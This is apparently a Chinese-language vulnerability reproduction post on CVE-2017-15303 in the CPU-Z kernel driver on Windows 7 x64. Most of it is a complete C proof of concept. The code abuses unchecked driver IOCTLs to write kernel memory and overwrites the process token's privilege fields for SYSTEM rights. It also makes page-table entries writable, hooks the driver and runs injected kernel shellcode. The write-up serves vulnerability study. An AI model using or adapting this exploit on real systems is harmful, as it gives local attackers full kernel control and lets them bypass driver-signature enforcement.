漏洞描述
在1.43之前的CPUID CPU-Z中,存在任意内存写入操作,直接导致特权提升,因为在本地计算机上运行的任何程序(在CPU-Z运行时)都可以向内核模式驱动程序发出ioctl 0x9C402430调用(例如,版本1.41的cpuz141_x64.sys)。实际上在复现过程中发现配合ioctl 0x9C402420 ,不仅可以特权提升,还可以任意内核代码执行,可以修改系统所有重要数据结构,绕过Windows的强制驱动签名,严重影响系统安全性。
漏洞形成
复现环境为win 7 x64
本次复现在cpu-z_1.63-64中的cpuz136_x64.sys驱动上进行。
找到IRP分发函数,同IRP_MJ_CREATE与IRP_MJ_CLOSE一个函数,且没有对调用者的权限进行检查,没有对参数进行任何合法性校验
在0x9C402420 中存在任意物理地址写入任意虚拟地址
在0x9C402430 中存在向任意物理地址中写入4字节自定义数据
结合0x9C402430 向一个安全的物理地址空间写入数据,随后调用0x9C402420 将数据写入到内核地址的任意处完成任意内核地址读写。
Hook 0x9C402438作为激活点,随后调用0x9C402438进行任意代码执行
1)随后通过向当前进程或者其他进程的token对象权限值写入系统权限值完成提权。
2)可通过手工修改内存页映射规则使得CPU-Z的驱动内存空间可写,随后写入shellcode完成执行任意内核代码。
漏洞复现
复现采用提权并向内核写入<读取cr0 寄存器的shellcode>作为验证。
POC
typedef struct _READ_WRITE_INFO {
UINT32 HighPhys;
UINT32 LowPhys;
UINT32 Size;
UINT32 HighOutVirtual;
UINT32 LowOutVirtual;
}READ_WRITE_INFO, *PREAD_WRITE_INFO;
typedef struct _WRITE_PHY_INFO {
UINT32 HighPhys;
UINT32 LowPhys;
UINT32 Data;
}WRITE_PHY_INFO, * PWRITE_PHY_INFO;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY
{
BYTE Unused[0x14];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT ModuleNameOffset;
char ImageName[252];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct _PAG {
union {
struct {
UINT64 IsEnable : 1;
UINT64 IsWrite : 1;
UINT64 Unused : 4;
UINT64 SupperPage : 1;
UINT64 Unused2 : 5;
UINT64 Base : 52;
};
UINT64 Value;
};
}PAG, * PPAG;
typedef struct _CALL_RAX{
BYTE MovCode[2];
UINT64 Address;
BYTE CallCode[2];
BYTE Nop[9];
}CALL_RAX, *PCALL_RAX;
CALL_RAX CallCode;
/*
* 0F2000 | mov rax,cr0 |
* 48:8906 | mov qword ptr ds:[rsi],rax |
* 49:C74424 38 08000000 | mov qword ptr ds:[r12+38],8 |
* 49:C74424 30 00000000 | mov qword ptr ds:[r12+30],0 |
* C3 | ret |
*/
BYTE ShellCode[] = { 0x0F,0x20,0x00,0x48,0x89,0x06,0x49,0xC7,0x44,0x24,0x38,0x08,0x00,0x00,0x00,0x49,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC3 };
HANDLE g_hFile;
BOOLEAN ReadPhysical(UINT64 PhysicalAddress, PVOID Buffer, DWORD dwSize);
BOOLEAN WriteToVirtualMemory(UINT64 VirtualAddress, PBYTE Data, UINT64 Size);
BOOLEAN ChangeMemoryProtectToWriteNoBigPage(UINT64 VirtualAddress);
UINT64 GetDriverLoadedAddress(LPSTR DriverName);
BOOLEAN AdjustProcessToken(DWORD Pid);
BOOLEAN ExecuteCode();
int main()
{
CallCode.MovCode[0] = 0x48;
CallCode.MovCode[1] = 0xB8;
CallCode.CallCode[0] = 0xFF;
CallCode.CallCode[1] = 0xD0;
memset(CallCode.Nop, 0x90, 9);
system("whoami /priv");
g_hFile = CreateFile(DEV_NAME_CPU, FILE_READ_ACCESS | FILE_WRITE_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_DEVICE, NULL);
if (g_hFile == INVALID_HANDLE_VALUE)
{
printf("打开设备失败%xn", GetLastError());
return 0;
}
printf("[+]打开设备对象n");
DWORD ProcessId = GetCurrentProcessId();
printf("[*]尝试提升进程 PID:%d 的权限为系统权限n", ProcessId);
if (!AdjustProcessToken(ProcessId))
{
printf("[-]提升权限失败,可能的错误:%dn", GetLastError());
return 0;
}
printf("[+]提升成功!n");
printf("--- 当前进程权限 ---n");
system("whoami /priv");
if (!ExecuteCode())
printf("[-]执行内核代码失败!n");
system("pause");
CloseHandle(g_hFile);
return 0;
}
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
BOOLEAN AdjustProcessToken(DWORD Pid)
{
PSYSTEM_HANDLE_INFORMATION HandleInfo = NULL;
ULONG NeedSize = 0;
HANDLE hProcess;
HANDLE hToken = NULL;
PUBLIC_OBJECT_TYPE_INFORMATION ObjectTypeInfo;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, Pid);
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
return FALSE;
CloseHandle(hProcess);
PVOID ObjectPtr = NULL;
do {
NtQuerySystemInformation(16, &ObjectTypeInfo, sizeof(ObjectTypeInfo), &NeedSize);
if (!NeedSize)
break;
NeedSize += 0x1000;
HandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(NeedSize);
if (!HandleInfo)
break;
if (!NT_SUCCESS(NtQuerySystemInformation(16, HandleInfo, NeedSize, &NeedSize)))
break;
for (ULONG Count = 0; Count < HandleInfo->NumberOfHandles; ++Count)
{
if (
HandleInfo->Handles[Count].UniqueProcessId == Pid &&
HandleInfo->Handles[Count].HandleValue == (USHORT)hToken
)
{
ObjectPtr = HandleInfo->Handles[Count].Object;
break;
}
}
} while (FALSE);
if(HandleInfo)
free(HandleInfo);
if (!ObjectPtr)
{
CloseHandle(hToken);
return FALSE;
}
UINT64 Privilege[3] = { 0x0000000ff2ffffbc ,0x0000000ff2ffffbc ,0x0000000ff2ffffbc };
printf("[+]TokenObject : %pn", ObjectPtr);// Write 0000000f`f2ffffbc From PTOKEN+0x040 Len 0x18
if (!WriteToVirtualMemory((UINT64)ObjectPtr + 0x040, (PBYTE)Privilege, sizeof(Privilege)))
{
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
BOOLEAN ReadPhysical(UINT64 PhysicalAddress, PVOID Buffer, DWORD dwSize)
{
UINT64 OutData;
DWORD ReturnedSize;
READ_WRITE_INFO ReadWriteInfo;
ReadWriteInfo.HighPhys = PhysicalAddress >> 32;
ReadWriteInfo.LowPhys = PhysicalAddress & 0xffffffff;
ReadWriteInfo.Size = dwSize;
ReadWriteInfo.HighOutVirtual = ((UINT64)Buffer) >> 32;
ReadWriteInfo.LowOutVirtual = ((UINT64)Buffer) & 0xffffffff;
DeviceIoControl(g_hFile, IOCTL_READ_WRITE_TO_VIRTUAL, &ReadWriteInfo, sizeof(ReadWriteInfo), &OutData, 0x8, &ReturnedSize, NULL);
return !!ReturnedSize;
}
VOID GetVirtualMap(UINT64 VirtualAddress, PUINT64 PML4T, PUINT64 PDPT, PUINT64 PDT, PUINT64 PT, PUINT64 Offset)
{
*Offset = VirtualAddress & 0xfff;
*PT = (VirtualAddress >> 12) & ((1 << 0x9) - 1);
*PDT = (VirtualAddress >> 12 >> 9) & ((1 << 0x9) - 1);
*PDPT = (VirtualAddress >> 12 >> 9 >> 9) & ((1 << 0x9) - 1);
*PML4T = (VirtualAddress >> 12 >> 9 >> 9 >> 9) & ((1 << 0x9) - 1);
}
typedef LONG(__stdcall* LPFN_RtlGetVersion)(PRTL_OSVERSIONINFOW lpVersionInformation);
BOOLEAN IsWindows10()
{
RTL_OSVERSIONINFOW OsVersionInfo;
HMODULE hNtdll = LoadLibrary(_T("ntdll.dll"));
if (!hNtdll)
return FALSE;
LPFN_RtlGetVersion RtlGetVersion = (LPFN_RtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion");
if (!RtlGetVersion)
return FALSE;
OsVersionInfo.dwOSVersionInfoSize = sizeof(OsVersionInfo);
RtlGetVersion(&OsVersionInfo);
FreeLibrary(hNtdll);
return OsVersionInfo.dwMajorVersion == 10;
}
BOOLEAN ChangeMemoryProtectToWriteNoBigPage(UINT64 VirtualAddress)
{
BYTE Buffer[0x1000];
UINT64 PageTableAddr;
UINT64 PML4T, PDPT, PDT, PT, Offset;
if (IsWindows10())
PageTableAddr = 0x1ad000;
else
PageTableAddr = 0x187000;
GetVirtualMap(VirtualAddress, &PML4T, &PDPT, &PDT, &PT, &Offset);
ReadPhysical(PageTableAddr, Buffer, 0x1000);
PPAG Data = (PPAG)Buffer ;
if (!Data[PML4T].IsEnable)
return FALSE;
ReadPhysical(Data[PML4T].Base << 12, Buffer, 0x1000);
Data = (PPAG)Buffer;
if (!Data[PDPT].IsEnable)
return FALSE;
ReadPhysical(Data[PDPT].Base << 12, Buffer, 0x1000);
Data = (PPAG)Buffer;
if (!Data[PDT].IsEnable)
return FALSE;
UINT64 PtAddress = (Data[PDT].Base << 12) + PT * 8;
ReadPhysical(Data[PDT].Base << 12, Buffer, 0x1000);
Data = (PPAG)Buffer;
if (!Data[PT].IsEnable)
return FALSE;
Data[PT].IsWrite = TRUE;
UINT64 OutData;
DWORD ReturnedSize;
WRITE_PHY_INFO WritePhyInfo;
WritePhyInfo.HighPhys = PtAddress >> 32;
WritePhyInfo.LowPhys = PtAddress & 0xffffffff;
WritePhyInfo.Data = (UINT32)Data[PT].Value;
DeviceIoControl(g_hFile, IOCTL_WRITE_PHYSICAL, &WritePhyInfo, sizeof(WritePhyInfo), &OutData, 0x8, &ReturnedSize, NULL);
return !!ReturnedSize;
}
BOOLEAN WriteToVirtualMemory(UINT64 VirtualAddress, PBYTE Data, UINT64 Size)
{
DWORD ReturnedSize = 0;
UINT64 OutData;
WRITE_PHY_INFO WritePhyInfo;
READ_WRITE_INFO ReadWriteInfo;
for (UINT64 i = 0; i < Size ; ++i)
{
WritePhyInfo.HighPhys = 0;
WritePhyInfo.LowPhys = 0;
WritePhyInfo.Data = ((PBYTE)Data)[i];
DeviceIoControl(g_hFile, IOCTL_WRITE_PHYSICAL, &WritePhyInfo, sizeof(WritePhyInfo), &OutData, 0x8, &ReturnedSize, NULL);
if (!ReturnedSize)
return FALSE;
ReadWriteInfo.HighPhys = 0;
ReadWriteInfo.LowPhys = 0;
ReadWriteInfo.Size = 1;
ReadWriteInfo.HighOutVirtual = (VirtualAddress + i) >> 32;
ReadWriteInfo.LowOutVirtual = (VirtualAddress + i) & 0xffffffff;
DeviceIoControl(g_hFile, IOCTL_READ_WRITE_TO_VIRTUAL, &ReadWriteInfo, sizeof(ReadWriteInfo), &OutData, 0x8, &ReturnedSize, NULL);
if (!ReturnedSize)
return FALSE;
}
return TRUE;
}
UINT64 GetDriverLoadedAddress(LPSTR DriverName)
{
ULONG NeedSize = 0;
NtQuerySystemInformation(11, NULL, 0, &NeedSize);
PSYSTEM_MODULE_INFORMATION FullModuleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(NeedSize);
if (!FullModuleInfo)
return 0;
if(!NT_SUCCESS(NtQuerySystemInformation(11, FullModuleInfo, NeedSize, &NeedSize)))
return 0;
for (DWORD Count = 0; Count < FullModuleInfo->Count; ++Count)
{
char* Name;
Name = strrchr(FullModuleInfo->Module[Count].ImageName, '\');
if (!Name)
Name = FullModuleInfo->Module[Count].ImageName;
if (!_stricmp(Name + 1, DriverName))
{
UINT64 DrvAddr = (UINT64)FullModuleInfo->Module[Count].Base;
free(FullModuleInfo);
return DrvAddr;
}
}
free(FullModuleInfo);
return 0;
}
BOOLEAN ExecuteCode()
{
UINT64 DrvAddr = GetDriverLoadedAddress("cpuz136_x64.sys");
if (!DrvAddr)
{
printf("[-] 无法获得驱动内核地址!n");
return FALSE;
}
UINT64 DrvPocAddr = DrvAddr + 0x3536;
UINT64 DrvHookAddr = DrvAddr + 0x25DE;
UINT64 RetData;
DWORD dwRetSize = 0;
if (!ChangeMemoryProtectToWriteNoBigPage(DrvPocAddr) || !ChangeMemoryProtectToWriteNoBigPage(DrvHookAddr))
{
printf("[-] 无法修改所需的页面映射属性!n");
return FALSE;
}
printf("[+] 修改内存页面权限成功!n");
CallCode.Address = DrvPocAddr;
if (!WriteToVirtualMemory(DrvHookAddr, (PBYTE)&CallCode, sizeof(CallCode)))
{
printf("[-] 写入Shellcode 失败!n");
return FALSE;
}
if (!WriteToVirtualMemory(DrvPocAddr, ShellCode, sizeof(ShellCode)))
{
printf("[-] 写入Shellcode 失败!n");
return FALSE;
}
printf("[+] 写入Shellcode 成功!n");
DeviceIoControl(g_hFile, IOCTL_EXECUTE_CODE, NULL, 0, &RetData, sizeof(RetData), &dwRetSize, NULL);
if (!dwRetSize)
return FALSE;
printf("[+] 执行成功!返回值为%I64xn", RetData);
return TRUE;
}
本文始发于微信公众号(锋刃科技):CPU-Z 驱动,权限提升+任意代码执行(CVE-2017-15303)复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论